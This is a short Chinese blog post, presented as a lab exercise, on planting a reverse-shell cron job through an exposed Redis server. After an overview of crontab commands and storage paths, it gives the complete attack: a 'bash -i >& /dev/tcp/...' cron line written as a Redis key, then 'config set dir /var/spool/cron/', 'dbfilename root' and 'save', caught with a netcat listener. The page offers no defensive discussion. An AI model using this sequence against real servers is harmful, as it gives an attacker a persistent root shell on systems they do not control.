首页 > 数据库 >Redis写入反弹连接任务

Redis写入反弹连接任务

时间:2023-10-10 13:56:04浏览次数:41  
标签:redis Redis 写入 crontab cron 任务 root 连接

Cron表达式

cron的增删改查

crontab -u root -r             删除某个用户的任务

crontab -u root time.cron 把文件添加到某个用户的任务

crontab -u root -I                列举某个用户的任务

crontab -u root -e                编辑某个用户的任务

存储路径

/var/spool/cron

按照用户存储

这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab

/etc/crontab

放的是对应周期的任务dalily、hourly 、monthly、 weekly

实验:建立反弹链接

可以使用redis写入定时文件

set x "\n* * * * * bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1\n"

* * * * *每隔一分钟执行一次

\n隔开两行的数据

config set dir /var/spool/cron/

config set dbfilename root

save

客户机

1、客户机使用netcat监听端口

2、连接到服务器的redis后将反弹命令写入服务器redis

 服务器端

可以在写入的地址中看到定时命令

连接成功

 *建立在可以连接上对方redis服务器的前提下,不会将定时任务和反弹命令删除的情况下

 

标签:redis,Redis,写入,crontab,cron,任务,root,连接
From: https://www.cnblogs.com/L-1906/p/17672753.html

相关文章

  • rpc项目中的长连接与短连接的思考
    对于rpc项目,在接受大佬指导的时候曾问过对于长连接和短连接是处理处理的,在面试的时候也被问起socket是长连接还是短连接,发现自己没有好好思考过这个问题,因此好好总结一下。前置知识点:rpc基础,tcp基础rpc项目中的长连接与短连接的思考什么是rpc项目中的长连接和短连接类似于ht......
  • Redis淘汰策略-231005
    Redis的内存淘汰策略有哪些:noeviction:当内存不足以容纳新写入数据时,新写入操作会报错;allkeys-lru:当内存不足以容纳新写入数据时,在键空间中,移除最近最少使用的key。(这个是最常用的);allkeys-random:当内存不足以容纳新写入数据时,在键空间中,随机移除某个key。设置过期时间的键空间......
  • redis集群方案有哪些
       ......
  • Redis事务和持久化
    Redis事务处理流程Redis服务器接受客户端命令检查客户端是否处于事务状态是,则将命令放入事务队列中向客户端返回QUEUED字符串(表示命令已入事务列队)否,则直接执行命令向客户端返回命令执行结果Redis事务错误调用EXEC之前的错误(语法错误/事务回滚)......
  • 分布式锁-实现原理(setnx,redisson)
         ......
  • clickhouse连接访问mysql
    创建MySQL表创建数据库test和表t1,并向t1表中插入几条数据CREATEdatabasetest;usetest;CREATEtablet1(idint,namevarchar(100));INSERTINTOt1values(1,'a'),(2,'b'),(3,'c');SELECT*FROMt1;ClickHouse连接访问MySQL方式1:数据库引擎MySQL用......
  • 利用Redis生成实时排行榜
            ......
  • pycharm连接远程jupyter
    1.linux安装jupyter远程linux首先要安装jupyter,一般通过pycharm安装,会给出提示直接install即可,没有提示pip也可2.linux设置Jupytervim~/.jupyter/jupyter_notebook_config.py可以配置静态tokenc.NotebookApp.token='venti'3.linux开启jupyterserver⚠执行此步,请在特定......
  • Docker 本地化镜像导入导出(针对服务器无法连接外网进行更新)
    镜像在开发公网测试环境中是可以下载的,但在某些生产环境中是无法访问外网进行镜像的拉取。这时候就只能在测试或者开发环境先保存镜像,然后复制到生产的机器,然后加载到生产本地机器,下面就来介绍下该如何操作。1.下载镜像到本地dockerpullregistry.cn-shenzhen.aliyuncs.com......
  • Oracle和达梦:连接多行查询结果
    Oracle和达梦:LISTAGG连接查询结果LISTAGG介绍使用LISTAGG函数,您可以将多行数据连接成一个字符串,并指定分隔符进行分隔。这在需要将多行数据合并为单个字符串的情况下非常有用,例如将多个值合并为逗号分隔的列表。函数介绍LISTAGG(column,delimiter)WITHINGROUP(ORDER......